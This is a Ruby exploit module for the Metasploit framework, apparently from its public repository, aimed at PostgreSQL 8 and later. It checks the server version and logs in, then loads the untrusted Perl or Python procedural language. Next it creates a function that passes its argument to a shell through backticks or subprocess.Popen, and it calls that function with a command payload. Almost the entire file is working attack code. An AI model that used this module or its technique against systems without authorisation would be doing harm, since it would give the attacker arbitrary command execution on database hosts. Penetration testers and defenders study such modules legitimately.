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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Postgres
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Auxiliary::Report
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  include Msf::OptionalSession::PostgreSQL
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  def initialize(info = {})
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    super(update_info(info,
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      'Name' => 'PostgreSQL CREATE LANGUAGE Execution',
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      'Description' => %q(
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        Some installations of Postgres 8 and 9 are configured to allow loading external scripting languages.
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        Most commonly this is Perl and Python. When enabled, command execution is possible on the host.
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        To execute system commands, loading the "untrusted" version of the language is necessary.
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        This requires a superuser. This is usually postgres. The execution should be platform-agnostic,
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        and has been tested on OS X, Windows, and Linux.
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        This module attempts to load Perl or Python to execute system commands. As this dynamically loads
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        a scripting language to execute commands, it is not necessary to drop a file on the filesystem.
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        Only Postgres 8 and up are supported.
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      ),
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      'Author' => [
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        'Micheal Cottingham', # author of this module
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        'midnitesnake', # the postgres_payload module that this is based on,
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        'Nixawk' # Improves the module
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      ],
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      'License' => MSF_LICENSE,
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      'References' => [
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        ['URL', 'http://www.postgresql.org/docs/current/static/sql-createlanguage.html'],
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        ['URL', 'http://www.postgresql.org/docs/current/static/plperl.html'],
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        ['URL', 'http://www.postgresql.org/docs/current/static/plpython.html']
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      ],
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      'Platform' => %w(linux unix win osx),
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      'Payload' => {
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        'PayloadType' => %w(cmd)
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      },
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      'Arch' => [ARCH_CMD],
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      'Targets' => [
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        ['Automatic', {}]
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      ],
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      'DefaultTarget' => 0,
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      'DisclosureDate' => '2016-01-01'
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    ))
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    deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
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  end
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  def check
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    vuln_version? ? CheckCode::Appears : CheckCode::Safe
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  end
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  def vuln_version?
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    version = postgres_fingerprint
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    return unless version[:auth]
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    vprint_status version[:auth].to_s
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    version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/i).flatten.first
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    Rex::Version.new(version_full) >= Rex::Version.new('8.0')
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  end
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  def login_success?
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    status = do_login(username, password, database)
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    case status
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    when :noauth
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      print_error "#{peer} - Authentication failed"
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      return false
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    when :noconn
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      print_error "#{peer} - Connection failed"
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      return false
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    else
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      print_status "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{status}"
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      return true
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    end
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  end
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  def load_extension?(language)
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    case load_procedural_language(language, 'LANGUAGE')
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    when :exists
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      print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{language} is already loaded, continuing"
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      return true
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    when :loaded
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      print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{language} was successfully loaded, continuing"
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      return true
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    when :not_exists
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      print_status "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{language} could not be loaded"
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      return false
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    else
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      vprint_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - error occurred loading #{language}"
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      return false
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    end
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  end
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  def exec_function?(func_name)
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    query = "SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')"
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    select_query = postgres_query(query)
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    case select_query.keys[0]
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    when :conn_error
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      print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Connection error"
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      return false
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    when :sql_error
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      elog(select_query[:sql_error])
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      missing_executable_match = select_query[:sql_error].match "FileNotFoundError[^\t]*"
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      unless missing_executable_match.nil?
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        print_error "#{missing_executable_match} - The target binary was not found on the target."
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        return false
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      end
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      if select_query[:sql_error].match? 'execution expired'
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        print_warning 'Timed out. The function was potentially executed.'
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        return true
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      end
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      print_warning "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unable to execute query: #{query}"
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      return false
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    when :complete
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      print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Exploit successful"
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      return true
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    else
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      print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unknown"
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      return false
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    end
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  end
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  def create_function?(language, func_name)
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    load_func = ''
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    case language
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    when 'perl'
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      query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(text) RETURNS void as $$"
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      query << "`$_[0]`;"
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      query << "$$ LANGUAGE pl#{language}u"
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      load_func = postgres_query(query)
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    when /^python(?:2|3)?/i
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      query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r"
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      query << "import subprocess, shlex\rsubprocess.Popen(shlex.split(c))\r"
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      query << "$$ LANGUAGE pl#{language}u"
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      load_func = postgres_query(query)
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    end
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    case load_func.keys[0]
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    when :conn_error
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      print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Connection error"
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      return false
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    when :sql_error
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      print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Exploit failed"
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      return false
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    when :complete
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      print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Loaded UDF (exec_#{func_name})"
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      return true
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    else
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      print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unknown"
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      return false
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    end
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  end
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  def load_procedural_language(language, extension)
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    query = "CREATE #{extension} pl#{language}u"
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    load_language = postgres_query(query)
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    return :loaded unless load_language.keys[0] == :sql_error
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    match_exists = load_language[:sql_error].match(/(?:(extension|language) "pl#{language}u" already exists)/m)
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    return :exists if match_exists
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    match_error = load_language[:sql_error].match(/(?:[Cc]ould not (?:open extension control|access) file|unsupported language)/m)
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    return :not_exists if match_error
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    # Default to something sane
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    :not_exists
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  end
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  def do_login(user, pass, database)
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    begin
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      password = pass || postgres_password
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      result = postgres_fingerprint(
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        db: database,
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        username: user,
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        password: password
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      )
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      return result[:auth] if result[:auth]
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      print_error "#{peer} - Login failed"
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      return :noauth
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    rescue Rex::ConnectionError
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      return :noconn
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    end
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  end
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  def exploit
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    self.postgres_conn = session.client if session
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    return unless vuln_version?
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    return unless login_success?
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    languages = %w(perl python python2 python3)
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    languages.each do |language|
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      next unless load_extension?(language)
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      func_name = Rex::Text.rand_text_alpha(10)
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      next unless create_function?(language, func_name)
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      if exec_function?(func_name)
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        print_warning "Please clear extension [#{language}]: function [#{func_name}] manually"
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        break
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      end
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    end
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    postgres_logout if @postgres_conn && session.blank?
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  end
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end
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